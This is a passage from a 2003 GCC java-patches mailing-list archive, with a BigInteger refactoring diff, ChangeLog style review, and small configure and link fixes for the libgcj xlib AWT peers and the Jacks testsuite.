(MPN.chars_per_word(radix) + 1); StringBuffer buffer =3D new StringBuffer(buf_size); @@ -1605,7 +1555,7 @@ { if (obj =3D=3D null || ! (obj instanceof BigInteger)) return false; - return BigInteger.equals(this, (BigInteger) obj); + return equals(this, (BigInteger) obj); } =20 private static BigInteger valueOf(String s, int radix) @@ -1615,7 +1565,7 @@ // Testing (len < MPN.chars_per_word(radix)) would be more accurate, // but slightly more expensive, for little practical gain. if (len <=3D 15 && radix <=3D 16) - return BigInteger.make(Long.parseLong(s, radix)); + return valueOf(Long.parseLong(s, radix)); =20 int byte_len =3D 0; byte[] bytes =3D new byte[len]; @@ -1660,8 +1610,7 @@ if (ival <=3D 2) return (double) longValue(); if (isNegative()) - return BigInteger.neg(this).roundToDouble(0, true, false); - else + return neg(this).roundToDouble(0, true, false); return roundToDouble(0, false, false); } =20 @@ -1769,7 +1718,6 @@ * Assumes words.length >=3D (this.words =3D=3D null ? 1 : this.ival). * Result is zero-extended, but need not be a valid 2's complement num= ber. */ - =20 private void getAbsolute(int[] words) { int len; @@ -1820,7 +1768,7 @@ =09return; } realloc(len + 1); - if (BigInteger.negate(words, x.words, len)) + if (negate(words, x.words, len)) words[len++] =3D 0; ival =3D len; } @@ -1844,7 +1792,7 @@ private static BigInteger neg(BigInteger x) { if (x.words =3D=3D null && x.ival !=3D Integer.MIN_VALUE) - return make(- x.ival); + return valueOf(- x.ival); BigInteger result =3D new BigInteger(0); result.setNegative(x); return result.canonicalize(); @@ -1852,7 +1800,7 @@ =20 public BigInteger negate() { - return BigInteger.neg(this); + return neg(this); } =20 /** Calculates ceiling(log2(this < 0 ? -this : this+1)) @@ -1862,7 +1810,6 @@ { if (words =3D=3D null) return MPN.intLength(ival); - else return MPN.intLength(words, ival); } =20 @@ -1913,7 +1860,7 @@ case 1: return x.and(y); case 3: return x; case 5: return y; - case 15: return make(-1); + case 15: return valueOf(-1); } BigInteger result =3D new BigInteger(); setBitOp(result, op, x, y); @@ -2111,15 +2058,15 @@ private static BigInteger and(BigInteger x, int y) { if (x.words =3D=3D null) - return BigInteger.make(x.ival & y); + return valueOf(x.ival & y); if (y >=3D 0) - return BigInteger.make(x.words[0] & y); + return valueOf(x.words[0] & y); int len =3D x.ival; int[] words =3D new int[len]; words[0] =3D x.words[0] & y; while (--len > 0) words[len] =3D x.words[len]; - return BigInteger.make(words, x.ival); + return make(words, x.ival); } =20 /** Return the logical (bit-wise) "and" of two BigIntegers. */ @@ -2142,7 +2089,7 @@ words[i] =3D x.words[i] & y.words[i]; for ( ; i < len; i++) words[i] =3D x.words[i]; - return BigInteger.make(words, len); + return make(words, len); } =20 /** Return the logical (bit-wise) "(inclusive) or" of two BigIntegers.= */ From java-patches-return-5999-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 02:51:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16203 invoked by alias); 1 Feb 2003 02:51:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16196 invoked from network); 1 Feb 2003 02:51:08 -0000 Received: from unknown (HELO mail-out1.apple.com) (17.254.0.52) by 172.16.49.205 with SMTP; 1 Feb 2003 02:51:08 -0000 Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225]) by mail-out1.apple.com (8.11.3/8.11.3) with ESMTP id h112p7w28834 for ; Fri, 31 Jan 2003 18:51:07 -0800 (PST) Received: from scv2.apple.com (scv2.apple.com) by mailgate2.apple.com (Content Technologies SMTPRS 4.2.1) with ESMTP id ; Fri, 31 Jan 2003 18:50:56 -0800 Received: from bothner.com (il0102b-dhcp93.apple.com [17.201.26.143]) by scv2.apple.com (8.11.3/8.11.3) with ESMTP id h112otQ14392; Fri, 31 Jan 2003 18:50:55 -0800 (PST) Message-ID: <3E3B33AA.2060600@bothner.com> Date: Fri, 31 Jan 2003 18:40:42 -0800 From: Per Bothner User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raif@fl.net.au CC: tromey@redhat.com, java-patches@gcc.gnu.org Subject: Re: BigInteger patch (long) References: <200212262244.25772.raif@fl.net.au> <87znphvt1z.fsf@fleche.redhat.com> <200302011336.30199.raif@fl.net.au> In-Reply-To: <200302011336.30199.raif@fl.net.au> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit The ChangeLog is a little too everything-and-the- kitchen-sink-too. Changes that are more-or-less separate should be listed separately. For example: * java/math/BigInteger.java (isOdd, isMinusOne, ...) Removed usused methods. * java/math/BigInteger.java: Reduce the number of temporaries created by euclidInv. (euclidInv(int,int,int): Now returns ... * java/math/BigInteger.java: Various style changes: pow(int): Removed 'else' keyword. ... * java/math/BigInteger.java (make): Remove private field. Instead "inline" it into valueOf. (bitOp(int,BI,BI)): Use valueOf(long) instead of make(long). Note the parens before the method names when before the colon. Note the blank lines between logically separate changes. Note also we don't normally add the extra 2 spaces of indentation. Note since you're editing libjava/ChangeLog there is no need to least libjava/java ... I assume you have an assignment with the FSF? -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-patches-return-6000-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 04:08:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6549 invoked by alias); 1 Feb 2003 04:08:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6536 invoked from network); 1 Feb 2003 04:08:42 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 1 Feb 2003 04:08:42 -0000 Received: from solomon (a5-p38.syd.fl.net.au [202.181.2.38]) by delenn.fl.net.au (Postfix) with ESMTP id 3A5AC17FD0D; Sat, 1 Feb 2003 15:15:40 +1100 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: Per Bothner Subject: take #2. was: BigInteger patch (long) Date: Sat, 1 Feb 2003 15:10:24 +1100 User-Agent: KMail/1.4.3 Cc: tromey@redhat.com, java-patches@gcc.gnu.org References: <200212262244.25772.raif@fl.net.au> <200302011336.30199.raif@fl.net.au> <3E3B33AA.2060600@bothner.com> In-Reply-To: <3E3B33AA.2060600@bothner.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200302011510.24141.raif@fl.net.au> On Saturday 01 February 2003 13:40, Per Bothner wrote: > The ChangeLog is a little too everything-and-the- > kitchen-sink-too. Changes that are more-or-less > separate should be listed separately. For example: > > =09* java/math/BigInteger.java (isOdd, isMinusOne, ...) > =09Removed usused methods. > > =09* java/math/BigInteger.java: Reduce the number of > =09temporaries created by euclidInv. > =09(euclidInv(int,int,int): Now returns ... > > =09* java/math/BigInteger.java: Various style changes: > =09pow(int): Removed 'else' keyword. > =09... > > =09* java/math/BigInteger.java (make): Remove private field. > =09Instead "inline" it into valueOf. > =09(bitOp(int,BI,BI)): Use valueOf(long) instead of make(long). > > Note the parens before the method names when before the colon. > > Note the blank lines between logically separate changes. > > Note also we don't normally add the extra 2 spaces of indentation. > > Note since you're editing libjava/ChangeLog there > is no need to least libjava/java ... > > I assume you have an assignment with the FSF? i have a now-and-future assignment for GNU Crypto and GNU Classpath. here is a modified Changelog diff as per above style: cvs -z9 diff -u -wb -B ChangeLog (in directory /data/workspace/cvs/gcc/li= bjava/) Index: ChangeLog =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1649 diff -u -w -b -B -r1.1649 ChangeLog --- ChangeLog=0930 Jan 2003 23:20:44 -0000=091.1649 +++ ChangeLog=091 Feb 2003 04:04:02 -0000 @@ -1,3 +1,59 @@ +2003-02-01 Raif S. Naffah + +=09* java/math/BigInteger.java: +=09Updated notice to include years 2002 and 3. +=09Added 2 private (int) arrays with values from the HAC (Handbook of +=09Applied Cryptography -A. Menezes & al): k[] that contains bit lengths +=09and t[] that contains nbr. of tests --used in isProbablePrime(). + +=09* java/math/BigInteger.java (make(long)): Merged into valueOf(long). + +=09* java/math/BigInteger.java (make(int[],int), add(int,int), +=09add(BI,BI,int), times(BI,int), divide(long,long,BI,BI,int), gcd(BI), +=09isProbablePrime(int), shift(BI,int), valueOf(String,int), neg(BI), +=09bitOp(int,BI,BI), and(BI,int)): Use valueOf(long) instead of make(lon= g). + +=09* java/math/BigInteger.java (euclidInv): Reduce number of work vars +=09(euclidInv(int,int,int)): Now returns an array of 2 ints instead of 3= =2E +=09(euclidInv(BI,BI,BI)): Used to return an array of 2 BIs; now accepts = 6 +=09BIs and returns void. +=09(modInverse(BI)): Use new signatures of euclidInv(). + +=09* java/math/BigInteger.java (isProbablePrime(int)): Use divide() with +=09static small primes instead of remainder(). +=09Use pre-computed max nbr of trials based on bitlength of BI to test. +=09Use pre-computed small primes for the trial tests instead of random +=09numbers. + +=09* java/math/BigInteger.java (isOdd, isMinusOne, pow): Removed. not u= sed. + +=09* java/math/BigInteger.java (format(int,StringBuffer)): Removed +=09invoacation of MPN.chars_per_word(). not used. + +=09* java/math/BigInteger.java (gcd(int,int)): Declared 'tmp' once as lo= cal +=09var and used where needed. + +=09* java/math/BigInteger.java (modPow(BI,BI)): Fixed spelling. +=09Combined declaration with initialisation of locals. +=09Removed unused var. + +=09* java/math/BigInteger.java: Style changes +=09(pow(int)): Removed 'else' keyword. +=09(toString(int)): idem. +=09(doubleValue()): idem. +=09(bitLength()): idem. +=09(equals(Object)): Use static methods name in same class w/o prependin= g +=09class name. +=09(doubleValue()): idem. +=09(setNegative(BI)): idem. +=09(negate()): idem. +=09(and(BI,int)): idem. +=09(and(BI)): idem. +=09(gcd(BI)): idem. +=09(byteArrayToIntArray()): Removed casting to (int). this is std. behav= iour. +=09(canonicalize()): idem. +=09(alloc(int)): Always instantiate a new BI. + 2003-01-30 Jeff Sturm =20 =09* java/lang/natClass.cc (initializeClass): Check tables when From java-patches-return-6001-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 04:24:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10070 invoked by alias); 1 Feb 2003 04:24:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10062 invoked from network); 1 Feb 2003 04:24:00 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by 172.16.49.205 with SMTP; 1 Feb 2003 04:24:00 -0000 Received: from bothner.com (eureka.bothner.com [192.168.1.9]) by bothner.com (8.12.5/8.12.5) with ESMTP id h114Pwnw007468; Fri, 31 Jan 2003 20:25:58 -0800 Message-ID: <3E3B4965.8010902@bothner.com> Date: Fri, 31 Jan 2003 20:13:25 -0800 From: Per Bothner User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raif@fl.net.au CC: tromey@redhat.com, java-patches@gcc.gnu.org Subject: Re: take #2. was: BigInteger patch (long) References: <200212262244.25772.raif@fl.net.au> <200302011336.30199.raif@fl.net.au> <3E3B33AA.2060600@bothner.com> <200302011510.24141.raif@fl.net.au> In-Reply-To: <200302011510.24141.raif@fl.net.au> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Raif S. Naffah wrote: > here is a modified Changelog diff as per above style: Close enough. A few more nits, but Tom can take care of them, if he agrees: * java/math/BigInteger.java (make(long)): Merged into valueOf(long). + + * java/math/BigInteger.java (make(int[],int), add(int,int), + add(BI,BI,int), times(BI,int), divide(long,long,BI,BI,int), gcd(BI), + isProbablePrime(int), shift(BI,int), valueOf(String,int), neg(BI), + bitOp(int,BI,BI), and(BI,int)): Use valueOf(long) instead of make(long). I'd consider this one logical change, so it should be one paragraph. + * java/math/BigInteger.java (isOdd, isMinusOne, pow): Removed. not used. Incorrect capitalization. I'd write "Removed - not used." + (toString(int)): idem. Isn't "item" the usual spelling? In any case, we prefer the English "Likewise." + * java/math/BigInteger.java (gcd(int,int)): Declared 'tmp' once as local + var and used where needed. Personally, as I mentioned, I disagree with this change. + * java/math/BigInteger.java (format(int,StringBuffer)): Removed + invoacation of MPN.chars_per_word(). not used. s/invoacation/invocation/ >>I assume you have an assignment with the FSF? > i have a now-and-future assignment for GNU Crypto and GNU Classpath. I assume that's ok. Certainly if Classpath uses the same implementation. Tom? -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-patches-return-6002-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 17:25:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31596 invoked by alias); 1 Feb 2003 17:25:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31589 invoked from network); 1 Feb 2003 17:25:07 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 1 Feb 2003 17:25:07 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18f1Ni-0001wC-00; Sat, 01 Feb 2003 18:24:42 +0100 Subject: Re: Patch: FYI: Import AWT peers From: Mark Wielaard To: tromey@redhat.com Cc: Java Patch List In-Reply-To: <87u1fp1al3.fsf@fleche.redhat.com> References: <87u1fp1al3.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1044120292.27780.31.camel@elsschot> Mime-Version: 1.0 Date: 01 Feb 2003 18:24:52 +0100 Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-01-31 at 18:40, Tom Tromey wrote: > +for peer in $peerlibs ; do > + case $peer in > + xlib) > + if test "$no_x" = yes; then > + echo "*** xlib peers requested but no X library available" 1>&2 > + exit 1 > + else > + use_xlib_awt="yes" > + if test -z "$TOOLKIT"; then > + TOOLKIT=gnu.gnu.awt.xlib.XToolkit Note the "gnu.gnu". But even with this fixed I can't get the xlib peers working. Something goes wrong with loading the class or the xlibraries since I always get a ClassNotFoundException. Does it work for you? Cheers, Mark From java-patches-return-6003-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 02 22:18:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18964 invoked by alias); 2 Feb 2003 22:18:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18957 invoked from network); 2 Feb 2003 22:18:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Feb 2003 22:18:15 -0000 Received: from fleche.redhat.com (tz0187.peakpeak.com [207.174.69.187]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA14077; Sun, 2 Feb 2003 15:18:12 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id EFC074F8080; Sun, 2 Feb 2003 15:06:33 -0700 (MST) To: Mark Wielaard Cc: Java Patch List Subject: Re: Patch: FYI: Import AWT peers References: <87u1fp1al3.fsf@fleche.redhat.com> <1044120292.27780.31.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I have many CHARTS and DIAGRAMS.. Date: 02 Feb 2003 15:06:32 -0700 In-Reply-To: <1044120292.27780.31.camel@elsschot> Message-ID: <87znpeuyl3.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: >> + TOOLKIT=gnu.gnu.awt.xlib.XToolkit Mark> Note the "gnu.gnu". Sigh. Obviously I failed to test that code. BTW, let me encourage you to use your "obviously correct" power a bit more liberally. This would certainly have qualified. Mark> But even with this fixed I can't get the xlib peers working. Mark> Something goes wrong with loading the class or the xlibraries Mark> since I always get a ClassNotFoundException. Does it work for Mark> you? I haven't tried. It seems to work for Scott Gilbertson though. I'm rebuilding now. I'll give it a try in a bit. I'll check in the configure fix then. Tom From java-patches-return-6004-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 02 22:25:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20144 invoked by alias); 2 Feb 2003 22:25:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20137 invoked from network); 2 Feb 2003 22:25:01 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Feb 2003 22:25:01 -0000 Received: from fleche.redhat.com (tz0187.peakpeak.com [207.174.69.187]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA15005; Sun, 2 Feb 2003 15:24:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 894834F8080; Sun, 2 Feb 2003 15:13:22 -0700 (MST) To: Ulrich Weigand Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] Fix Jacks testsuite invocation References: <200302010125.CAA18662@faui11.informatik.uni-erlangen.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: It's so OBVIOUS!! Date: 02 Feb 2003 15:13:21 -0700 In-Reply-To: <200302010125.CAA18662@faui11.informatik.uni-erlangen.de> Message-ID: <87vg02uy9q.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ulrich" == Ulrich Weigand writes: Ulrich> running the Jacks testsuite failed because it wouldn't find Ulrich> the newly built libgcj classes or the libgcc_s library. Ulrich> Tested on s390-ibm-linux and s390x-ibm-linux on mainline Ulrich> and 3.3 branch. OK to install? Yes, on both branches please. Thanks for doing this, and for running Jacks. Tom From java-patches-return-6005-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 02 23:05:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9577 invoked by alias); 2 Feb 2003 23:05:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9569 invoked from network); 2 Feb 2003 23:05:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Feb 2003 23:05:47 -0000 Received: from fleche.redhat.com (tz0187.peakpeak.com [207.174.69.187]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA21351; Sun, 2 Feb 2003 16:05:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1C1034F8080; Sun, 2 Feb 2003 15:54:11 -0700 (MST) To: Java Patch List Subject: Patch: FYI: xlib peer link fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm changing the CHANNEL.. But all I get is commercials for ``RONCO MIRACLE BAMBOO STEAMERS''! Date: 02 Feb 2003 15:54:10 -0700 Message-ID: <87hebmuwdp.fsf@fleche.redhat.com> Lines: 35 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. The xlib peers need to be linked against libstdc++. This patch ought to do it. I'm checking this in on the trunk and the 3.3 branch. With this I can get TestAWT to crash "normally" when using the xlib peers. Tom Index: ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (lib_gnu_awt_xlib_la_LDFLAGS): Link against libstdc++. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.7 diff -u -r1.264.2.7 Makefile.am --- Makefile.am 31 Jan 2003 21:46:16 -0000 1.264.2.7 +++ Makefile.am 2 Feb 2003 23:04:56 -0000 @@ -201,7 +201,8 @@ EXTRA_lib_gnu_awt_xlib_la_SOURCES = $(x_java_source_files) lib_gnu_awt_xlib_la_DEPENDENCIES = libgcj-@gcc_version@.jar $(x_javao_files) lib_gnu_awt_xlib_la_LIBADD = $(x_javao_files) -lib_gnu_awt_xlib_la_LDFLAGS = @X_PRE_LIBS@ @X_LIBS@ -lX11 @X_EXTRA_LIBS@ \ +lib_gnu_awt_xlib_la_LDFLAGS = ../libstdc++-v3/src/libstdc++.la \ + @X_PRE_LIBS@ @X_LIBS@ -lX11 @X_EXTRA_LIBS@ \ -rpath $(toolexeclibdir) \ ## The mysterious backslash is consumed by make. -version-info `grep -v '^\#' $(srcdir)/libtool-version` From java-patches-return-6006-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 02 23:07:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10342 invoked by alias); 2 Feb 2003 23:07:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10335 invoked from network); 2 Feb 2003 23:07:28 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Feb 2003 23:07:28 -0000 Received: from fleche.redhat.com (tz0187.peakpeak.com [207.174.69.187]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA21580; Sun, 2 Feb 2003 16:07:26 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B9EDB4F8080; Sun, 2 Feb 2003 15:55:51 -0700 (MST) To: Java Patch List Subject: Patch: FYI: xlib as default toolkit fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Am I elected yet? Date: 02 Feb 2003 15:55:51 -0700 Message-ID: <87d6mauwaw.fsf@fleche.redhat.com> Lines: 26 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. Pointed out by Mark Wielaard. Tom Index: ChangeLog from Tom Tromey * configure: Rebuilt. * configure.in (TOOLKIT) [xlib]: Set correctly. Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.147 diff -u -r1.147 configure.in --- configure.in 31 Jan 2003 17:54:11 -0000 1.147 +++ configure.in 2 Feb 2003 23:07:00 -0000 @@ -311,7 +311,7 @@ else use_xlib_awt="yes" if test -z "$TOOLKIT"; then - TOOLKIT=gnu.gnu.awt.xlib.XToolkit + TOOLKIT=gnu.awt.xlib.XToolkit fi fi ;; From java-patches-return-6007-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 16:51:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26596 invoked by alias); 3 Feb 2003 16:51:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25882 invoked from network); 3 Feb 2003 16:51:12 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by 172.16.49.205 with SMTP; 3 Feb 2003 16:51:12 -0000 Received: (from weigand@localhost) by faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id RAA22170; Mon, 3 Feb 2003 17:51:09 +0100 (MET) From: Ulrich Weigand Message-Id: <200302031651.RAA22170@faui11.informatik.uni-erlangen.de> Subject: Re: [PATCH] Fix Jacks testsuite invocation To: tromey@redhat.com Date: Mon, 3 Feb 2003 17:51:09 +0100 (MET) Cc: weigand@immd1.informatik.uni-erlangen.de (Ulrich Weigand), java-patches@gcc.gnu.org In-Reply-To: <87vg02uy9q.fsf@fleche.redhat.com> from "Tom Tromey" at Feb 02, 2003 03:13:21 PM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom Tromey wrote: > Yes, on both branches please. OK, done. > Thanks for doing this, and for running Jacks. B.t.w. I'm seeing a significant number of FAILs, but also a large number of XPASSes. Is this to be expected? Mauve also has many FAILs. Bye, Ulrich -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-6008-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 17:22:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28593 invoked by alias); 3 Feb 2003 17:22:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28325 invoked from network); 3 Feb 2003 17:22:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 3 Feb 2003 17:22:00 -0000 Received: from fleche.redhat.com (tq0198.peakpeak.com [207.174.177.198]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA24282; Mon, 3 Feb 2003 10:21:58 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D50A04F8080; Mon, 3 Feb 2003 10:10:15 -0700 (MST) To: Ulrich Weigand Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] Fix Jacks testsuite invocation References: <200302031651.RAA22170@faui11.informatik.uni-erlangen.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Am I accompanied by a PARENT or GUARDIAN? Date: 03 Feb 2003 10:10:14 -0700 In-Reply-To: <200302031651.RAA22170@faui11.informatik.uni-erlangen.de> Message-ID: <873cn5s32h.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >> Thanks for doing this, and for running Jacks. Ulrich> B.t.w. I'm seeing a significant number of FAILs, but also a Ulrich> large number of XPASSes. Is this to be expected? Ulrich> Mauve also has many FAILs. On my box I get zero fail and zero xpass from jacks. Could you take a look at this? Details about the problems should be put into files in the jacks tree in the build directory. I still get some from Mauve; I believe these are the ones that still haven't been investigated. Tom From java-patches-return-6009-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 20:51:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27864 invoked by alias); 3 Feb 2003 20:51:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27855 invoked from network); 3 Feb 2003 20:51:29 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 3 Feb 2003 20:51:29 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 3ABA044354 for ; Mon, 3 Feb 2003 15:53:32 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Mon, 03 Feb 2003 15:48:33 -0500 Message-ID: <01fd01c2cbc5$a8569e80$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: References: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com><87adhkuad1.fsf@fleche.redhat.com><016301c2c7db$e56e46d0$3c16a8c0@mantatest.com> <87smv8x65q.fsf@fleche.redhat.com> Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache Date: Mon, 3 Feb 2003 15:48:51 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_01FA_01C2CB9B.BF776EC0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_01FA_01C2CB9B.BF776EC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit tom> It looks like this is a patch on top of an earlier patch. tom> It didn't apply cleanly to my 3.3 tree. Oops. You're right. tom> Could you regenerate it against the 3.3 branch (or the trunk, same tom> difference) and also fix some style problems too? Attached (against 3.3 branch). Please let me know if it still has style problems. Index: libjava/ChangeLog from Scott Gilbertson * 